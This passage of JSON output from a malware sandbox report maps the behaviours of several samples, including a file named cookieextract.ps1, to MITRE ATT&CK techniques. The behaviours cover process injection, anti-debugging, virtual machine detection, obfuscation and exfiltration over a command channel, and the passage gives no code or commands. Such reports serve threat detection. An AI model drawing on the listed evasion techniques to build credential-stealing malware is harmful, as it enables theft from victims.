as malicious"}],"sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"Build.exe\")\n file/memory contains long string(File: \"System Properties.exe\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Launcher.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"Build.exe\" called \"RemoveDirectoryW\" (UID: 00000000-00005992)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"Launcher.exe\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"Launcher.exe\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"Launcher.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"Launcher.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"Launcher.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Launcher.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertFrom-Json\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"ConvertTo-Json\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"ConvertFrom-Json\"; File: \"cookieextract.ps1\")\n file/memory contains long string with (Indicator: \"ConvertTo-Json\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"Launcher.exe\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"Launcher.exe\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005868.00000000.154394.03310000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"Launcher.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$25","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\root\\cimv2; Source: \"00000000-00006668.00000001.156457.1DE10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"grpconv.exe\" loaded module \"%WINDIR%\\SysWOW64\\pstorec.dll\" at 729A0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"Launcher.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007948-65500-79-001B9A9C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007948-65500-174-001B9D40\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007948-65500-306-001BA103","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$26","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$27","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"System Properties.exe\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007468.00000001.157053.02BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"description=\"Uses RsaCryptoServiceProvider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00006668.00000001.156457.1DE10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.987018299957777","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$28","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$29","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005992-00000C2B-1415665984\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005992-00000C2B-1427275012\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"Build.exe\")\n file/memory contains long string(File: \"System Properties.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005992-00000C2B-1415665984\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005992-00000C2B-1427275012\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Launcher.exe\")\n file/memory contains long string with (Indicator: \"GetLastInputInfo\"; File: \"System Properties.exe\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00006668-00000C2B-1422885265\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00006668-00000C2B-1422814522\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005992-00000C2B-1414378020\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005992-00000C2B-1414378503\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006668-00000C2B-1419501563\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006668-00000C2B-1419501585\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"Launcher.exe\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; File: \"Launcher.exe\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"Launcher.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"Build.exe\")\n file/memory contains long string(File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005992-00000C2B-1426325436\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsA\" in file \"Launcher.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"Launcher.exe\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"Launcher.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007048)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"Build.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005992)\n \"Build.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005992)\n \"Build.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00005992)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"Launcher.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007048)","origin":"API 